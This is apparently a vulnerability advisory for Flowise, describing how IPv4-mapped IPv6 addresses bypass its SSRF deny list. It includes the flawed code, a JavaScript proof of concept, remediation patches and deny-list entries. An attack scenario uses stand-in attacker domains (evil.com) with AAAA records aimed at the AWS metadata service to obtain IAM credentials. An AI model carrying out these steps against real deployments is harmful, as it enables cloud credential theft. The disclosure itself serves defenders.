Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network attack via attacker-owned DNS AAAA record; PR:L because chatflow URL configuration requires Flowise authentication; S:C for out-of-scope IMDS/internal access; I:L for downstream credential abuse potential.
Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).
CVSS VectorVendor: https://github.com/FlowiseAI/Flowise
Lifecycle Timeline
3DescriptionCVE.org
Summary
Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<target_ipv4>, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.
CWE
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)
Affected Versions
- All versions up to and including v3.1.1 (latest main branch as of 2026-04-03)
- This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)
Details
Root Cause
The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP addresses against a deny list using ipaddr.js. The critical flaw is in the kind() comparison:
// httpSecurity.ts - isDeniedIP()
export function isDeniedIP(ip: string, denyList: string[]): void {
const parsedIp = ipaddr.parse(ip);
for (const entry of denyList) {
if (entry.includes('/')) {
try {
const [range, _] = entry.split('/')
const parsedRange = ipaddr.parse(range)
// ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'
// This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry
if (parsedIp.kind() === parsedRange.kind()) { // <-- BYPASS HERE
if (parsedIp.match(ipaddr.parseCIDR(entry))) {
throw new Error('Access to this host is denied by policy.')
}
}
} catch (error) {
throw new Error(`isDeniedIP: ${error}`)
}
} else if (ip === entry) {
throw new Error('Access to this host is denied by policy.')
}
}
}When the resolved IP is an IPv4-mapped IPv6 address like ::ffff:169.254.169.254:
ipaddr.parse('::ffff:169.254.169.254').kind()returns'ipv6'ipaddr.parse('169.254.169.254').kind()(from deny list entry) returns'ipv4''ipv6' === 'ipv4'isfalse→ CIDR check is completely skipped
The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do NOT cover the ::ffff:0:0/96 range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.
Attack Vector
- Attacker registers a domain (e.g.,
evil.attacker.com) and sets a AAAA DNS record to::ffff:169.254.169.254(AWS metadata) or::ffff:10.0.0.1(internal service) - Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to
http://evil.attacker.com/latest/meta-data/ resolveAndValidate()callsdns.lookup('evil.attacker.com', { all: true })which returns[{ address: '::ffff:169.254.169.254', family: 6 }]isDeniedIP('::ffff:169.254.169.254', denyList)is called - all IPv4 CIDR entries are skipped due to kind mismatch- Request is sent to
169.254.169.254(AWS metadata service) via the IPv4-mapped IPv6 address
Affected Endpoints
All code paths using the SSRF protection functions are vulnerable:
| Function | Usage Count | Affected Components |
|---|---|---|
secureAxiosRequest() | 8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank |
secureFetch() | 5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool |
checkDenyList() | 3+ | MCP Server URL validation, fetch-links service, web scraping |
Proof of Concept
// Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');
const denyList = [
'169.254.169.254/16', // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
'10.0.0.0/8', // RFC1918 (covered by 10.0.0.0/8 in Flowise)
'127.0.0.0/8', // Loopback (covered by 127.0.0.0/8 in Flowise)
'172.16.0.0/12', // RFC1918 (covered by 172.16.0.0/12 in Flowise)
'192.168.0.0/16', // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];
// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'
// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'
// Demonstrate the bypass
for (const entry of denyList) {
const [range] = entry.split('/');
const parsedRange = ipaddr.parse(range);
const kindMatch = mappedIP.kind() === parsedRange.kind();
console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skippedAttack Scenario (AWS Cloud):
# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
# URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentialsVerified PoC Output
The following output was produced by running the PoC script (poc_ssrf_bypass.js) against ipaddr.js@2.2.0 (the exact version used by Flowise ^2.2.0), replicating the isDeniedIP() logic:
Step 1: kind() mismatch confirmed
169.254.169.254 kind=ipv4 isIPv4Mapped=false
::ffff:169.254.169.254 kind=ipv6 isIPv4Mapped=true → maps to: 169.254.169.254
127.0.0.1 kind=ipv4 isIPv4Mapped=false
::ffff:127.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 127.0.0.1
10.0.0.1 kind=ipv4 isIPv4Mapped=false
::ffff:10.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 10.0.0.1
192.168.1.1 kind=ipv4 isIPv4Mapped=false
::ffff:192.168.1.1 kind=ipv6 isIPv4Mapped=true → maps to: 192.168.1.1
172.16.0.1 kind=ipv4 isIPv4Mapped=false
::ffff:172.16.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 172.16.0.1Step 2: Normal IPv4 - correctly blocked ✅
169.254.169.254 → 🔒 BLOCKED (matched: 169.254.169.254)
127.0.0.1 → 🔒 BLOCKED (matched: 127.0.0.0/8)
10.0.0.1 → 🔒 BLOCKED (matched: 10.0.0.0/8)
192.168.1.1 → 🔒 BLOCKED (matched: 192.168.0.0/16)
172.16.0.1 → 🔒 BLOCKED (matched: 172.16.0.0/12)Step 3: IPv4-Mapped IPv6 - ALL bypass deny list ⚠️
::ffff:169.254.169.254 → ⚠️ ALLOWED (BYPASS!) (real target: 169.254.169.254)
::ffff:127.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 127.0.0.1)
::ffff:10.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 10.0.0.1)
::ffff:192.168.1.1 → ⚠️ ALLOWED (BYPASS!) (real target: 192.168.1.1)
::ffff:172.16.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 172.16.0.1)Step 4: Root cause - kind mismatch skips CIDR check
Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16
parsedIp.kind() = 'ipv6'
parsedRange.kind() = 'ipv4'
kind match? = false ← CIDR check is SKIPPED!
But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)Step 5: Proposed fix - all bypass addresses now blocked ✅
::ffff:169.254.169.254 → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)
::ffff:127.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)
::ffff:10.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8)
::ffff:192.168.1.1 → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16)
::ffff:172.16.0.1 → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)Step 6: Attack simulation
Vulnerable isDeniedIP: ⚠️ ALLOWED → Request reaches AWS metadata!
Fixed isDeniedIP: 🔒 BLOCKED → Attack prevented!> Verification environment: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency ^2.2.0) > PoC script: poc_ssrf_bypass.js
Impact
| Target | Impact | Severity |
|---|---|---|
AWS/GCP/Azure Metadata (169.254.169.254) | Steal IAM credentials, service account tokens | Critical |
Internal services (10.x.x.x, 172.16.x.x, 192.168.x.x) | Access internal APIs, databases, admin panels | High |
Localhost (127.0.0.1) | Access Flowise's own API with elevated privileges, access co-located services | High |
This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) completely ineffective against IPv4-mapped IPv6 DNS resolution.
Remediation
Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)
export function isDeniedIP(ip: string, denyList: string[]): void {
let parsedIp = ipaddr.parse(ip);
// ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking
if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) {
parsedIp = parsedIp.toIPv4Address();
}
for (const entry of denyList) {
if (entry.includes('/')) {
try {
const [range, _] = entry.split('/');
let parsedRange = ipaddr.parse(range);
// Also normalize deny list entries
if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) {
parsedRange = parsedRange.toIPv4Address();
}
if (parsedIp.kind() === parsedRange.kind()) {
if (parsedIp.match(ipaddr.parseCIDR(entry))) {
throw new Error('Access to this host is denied by policy.');
}
}
} catch (error) {
throw new Error(`isDeniedIP: ${error}`);
}
} else if (ip === entry) {
throw new Error('Access to this host is denied by policy.');
}
}
}Option 2: Add ::ffff:0:0/96 to Deny List (Defense-in-depth)
Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:
const DEFAULT_DENY_LIST = [
// ... existing entries ...
'::ffff:0:0/96', // Block ALL IPv4-mapped IPv6 addresses
'::ffff:127.0.0.1/128', // Explicit loopback mapped
'::ffff:169.254.0.0/112', // Explicit link-local mapped
'::ffff:10.0.0.0/104', // Explicit RFC1918 Class A mapped
'::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped
'::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped
];Option 3: Also normalize in resolveAndValidate() (Belt and suspenders)
async function resolveAndValidate(url: string): Promise<ResolvedTarget> {
// ... existing code ...
const records = await dns.lookup(hostname, { all: true });
for (const r of records) {
let address = r.address;
// Normalize IPv4-mapped IPv6 for deny list checking
if (ipaddr.isValid(address)) {
const parsed = ipaddr.parse(address);
if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) {
address = parsed.toIPv4Address().toString();
}
}
isDeniedIP(address, denyList);
}
// ... rest of code ...
}AnalysisAI
SSRF protection bypass in Flowise (npm/flowise ≤ v3.1.2) allows complete circumvention of all IPv4 CIDR deny rules via IPv4-mapped IPv6 addresses, rendering the SSRF fix introduced in v3.0.13 for CVE-2026-31829 entirely ineffective. An attacker who controls DNS for a hostname referenced in a Flowise chatflow HTTP component can set a AAAA record to ::ffff:169.254.169.254 or any RFC1918 target; Flowise resolves the address, the isDeniedIP() kind mismatch silently skips all IPv4 CIDR checks, and the request reaches cloud IMDS endpoints or internal services. A publicly available proof-of-concept script (poc_ssrf_bypass.js) confirms the bypass against ipaddr.js@2.2.0; no CISA KEV listing has been identified at time of analysis.
Technical ContextAI
Flowise is a Node.js low-code platform (npm package flowise) for building LLM-based chatflows. The vulnerable component is packages/components/src/httpSecurity.ts, which uses ipaddr.js (dependency pinned at ^2.2.0) to validate outbound HTTP destinations against an SSRF deny list. The root cause spans CWE-918 (SSRF) and CWE-1389 (incorrect number parsing): ipaddr.js classifies IPv4-mapped IPv6 addresses such as ::ffff:169.254.169.254 with kind() returning 'ipv6', while IPv4 CIDR deny-list entries (e.g., 169.254.0.0/16, 10.0.0.0/8) parse with kind() returning 'ipv4'. The guard condition if (parsedIp.kind() === parsedRange.kind()) in isDeniedIP() evaluates to false for any mapped address against any IPv4 CIDR, causing the match() call to be skipped entirely. The default deny list contains no entry covering ::ffff:0:0/96 (the entire IPv4-mapped address space), leaving this address family completely unblocked. The bypass affects every SSRF-guarded code path: secureAxiosRequest() (8+ call sites including HTTP Node and FireCrawl), secureFetch() (5+ call sites including ApiChain and MCP tool), and checkDenyList() (3+ call sites covering MCP server URL validation and web scraping). CPE: pkg:npm/flowise ≤ 3.1.2.
RemediationAI
Upgrade Flowise to v3.1.3 or later, available at https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3; the fix is implemented in PR #6431 (commit 0fc769208395641c1411ccdb9c81416e54802155), which normalizes IPv4-mapped IPv6 addresses to their IPv4 equivalents via parsedIp.toIPv4Address() before the deny-list kind comparison in isDeniedIP(). If immediate upgrade is not feasible, add ::ffff:0:0/96 to the Flowise deny list configuration to block the entire IPv4-mapped address family; note this workaround may prevent legitimate dual-stack connectivity if Flowise chatflows need to reach IPv6-only public services. A more targeted alternative is adding explicit mapped-form deny entries for each protected range: ::ffff:127.0.0.0/104, ::ffff:169.254.0.0/112, ::ffff:10.0.0.0/104, ::ffff:172.16.0.0/108, ::ffff:192.168.0.0/112. As an independent network-layer control, configure host or cloud security group firewall rules to block outbound traffic from the Flowise process to 169.254.169.254 and all RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16); this operates below the application layer and is not bypassable by DNS manipulation alone.
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-52751
GHSA-c6xh-wv4j-ppv5